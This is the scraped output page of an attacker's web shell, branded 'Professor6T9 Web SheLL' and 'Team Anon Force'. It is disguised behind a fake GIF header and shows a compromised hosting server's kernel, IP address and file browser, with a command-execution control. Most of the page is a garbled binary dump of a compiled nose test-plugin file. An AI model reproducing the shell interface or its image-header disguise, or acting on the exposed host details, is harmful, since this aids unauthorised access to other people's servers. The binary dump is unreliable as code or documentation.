GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server326.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
67.223.118.122
/
opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
nose
/
plugins
/
__pycache__
[ HOME ]
Exec
Submit
capture.cpython-312.pyc
� ?��g$ � � � d Z ddlZddlZddlZddlmZ ddlmZmZ ddl m Z ddlmZ ej e� Z G d� de� Zy) a_ This plugin captures stdout during test execution. If the test fails or raises an error, the captured output will be appended to the error or failure output. It is enabled by default but can be disabled with the options ``-s`` or ``--nocapture``. :Options: ``--nocapture`` Don't capture stdout (any stdout output will be printed immediately) � N)�Plugin)�exc_to_unicode� force_unicode)�ln)�StringIOc � � e Zd ZdZdZdZdZdZd� Zd� Z d� Z d � Zd � Zd� Z d� Zd � Zd� Zd� Zd� Zd� Zd� Z eeddd� Zy)�Capturea Output capture plugin. Enabled by default. Disable with ``-s`` or ``--nocapture``. This plugin captures stdout during test execution, appending any output captured to the error or failure output, should the test fail or raise an error. T�NOSE_NOCAPTURE�capturei@ c � � g | _ d | _ y �N)�stdout�_buf��selfs �C/opt/hc_python/lib/python3.12/site-packages/nose/plugins/capture.py�__init__zCapture.__init__# s � ������ � c �f � |j ddd|j | j � dd�� y)z%Register commandline options z-sz--nocapture�store_falser zUDon't capture stdout (any stdout output will be printed immediately) [NOSE_NOCAPTURE])�action�default�dest�helpN)� add_option�get�env_opt)r �parser�envs r �optionszCapture.options'